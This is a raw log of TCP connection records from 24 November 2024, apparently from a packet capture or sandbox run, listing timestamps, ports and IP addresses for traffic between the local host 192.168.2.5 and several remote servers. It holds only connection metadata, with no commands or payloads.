Nov 24, 2024 23:24:34.877429008 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.877441883 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.877532959 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.877808094 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.877820969 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.877957106 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:34.878087044 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:34.880445957 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:34.880460978 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:34.881062031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.881520033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.916706085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.919729948 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.919732094 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.935064077 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:35.036133051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.073204994 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.073424101 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.073441029 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.073828936 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.074306965 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.074373960 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.076524973 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.076639891 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.076646090 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.313355923 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.344053984 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.344063044 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.344083071 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.344090939 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.344151020 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.344156981 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:35.344203949 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:35.344645023 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:35.344669104 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:35.365174055 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.365206003 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.365216017 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.365231991 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.365277052 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.365288973 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.365304947 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.365314007 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.365322113 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.365374088 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.371165037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.371215105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.371299982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.371577978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.371726990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.371795893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.372481108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.372559071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.372644901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.373157978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.373194933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.373234987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.373250008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.374001026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.374116898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.374211073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.374897003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.374964952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.374990940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.375334024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.375768900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.375864029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.375873089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.375936985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.376655102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.376734972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.376758099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.376830101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.377526045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.377615929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.377633095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.377854109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.378432989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.378523111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.378602028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.379302979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.379390955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.379416943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.379458904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.380178928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.380265951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.380321026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.380333900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.381081104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.381210089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.381309032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.381949902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.382009029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.382051945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.382090092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.382818937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.382941008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.382942915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.383002996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.383708954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.383779049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.383820057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.383862019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.384676933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.384697914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.385154009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.385458946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.385574102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.385612965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.385632038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.386342049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.386445045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.386464119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.386499882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.387228012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.387310028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.387326002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.387511015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.388113976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.388189077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.388206005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.388616085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.389017105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.389079094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.389106035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.389271975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.389895916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.389988899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.390084982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.390753984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.390857935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.390932083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.391645908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.391722918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.391746044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.391830921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.392514944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.392575026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.392659903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.393397093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.393485069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.393486023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.393563032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.394336939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.394422054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.394490957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.395167112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.395251989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.395309925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.396050930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.396140099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.396815062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.396909952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.397082090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.397141933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.397804022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.397922039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.397989988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.398695946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.398739100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.398793936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.399569988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.399674892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.399734020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.400449991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.400546074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.400547981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.400664091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.401329994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.401427031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.401611090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.402211905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.402230978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.402302980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.403112888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.403191090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.403280973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.403280973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.403970003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.404037952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.404067039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.404294968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.404853106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.404957056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.405061960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.405742884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.405848026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.405932903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.405981064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.406610966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.406722069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.406749964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.406765938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.407495022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.407591105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.407670975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.408382893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.408474922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.408490896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.408596992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.409260035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.409343004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.409378052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.409419060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.410144091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.410243034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.410252094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.410329103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.411036968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.411115885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.411139011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.411329985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.411889076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.412056923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.412108898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.412147045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.412780046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.412839890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.412899017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.413659096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.413683891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.413764000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.414602995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.414941072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.504249096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.504362106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.504383087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.504442930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.504740953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.504837036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.504842043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.504930019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.505392075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.505530119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.505580902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.506278992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.506331921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.506422997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.506467104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.507105112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.507165909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.556334972 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.556454897 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.556608915 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.557440996 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.557461977 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.560507059 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.560764074 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.560796022 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.560847044 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.560857058 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.560900927 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.560925007 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.561558962 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.561574936 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.561899900 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.566658974 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.566721916 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.567811012 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.567878962 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:35.567893982 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:35.572391987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.572479963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.572529078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.572849035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.572865009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.572913885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.573724031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.573842049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.573889971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.574613094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.574692011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.574732065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.574852943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.575484991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.575591087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.575643063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.576410055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.576474905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.576525927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.576561928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.577243090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.577270031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.577317953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.578162909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.578228951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.578268051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.578367949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.578989983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.579051971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.579090118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.579133987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.579884052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.579953909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.579993010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.580041885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.580751896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.580873966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.580929995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.581640005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.581749916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.581768036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.581963062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.582602024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.582658052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.582696915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.582745075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.583394051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.583556890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.583631039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.584286928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.584393024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.584395885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.584445000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.585202932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.585253954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.585258007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.585495949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.586028099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.586081028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.586139917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.586221933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.586910963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.586968899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.587007046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.587054014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.587795973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.587902069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.587954044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.588686943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.588802099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.589097023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.589548111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.589606047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.589644909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.589688063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.590454102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.590517044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.590580940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.590626001 CET	49760	80	192.168.2.5	185.215.113.206
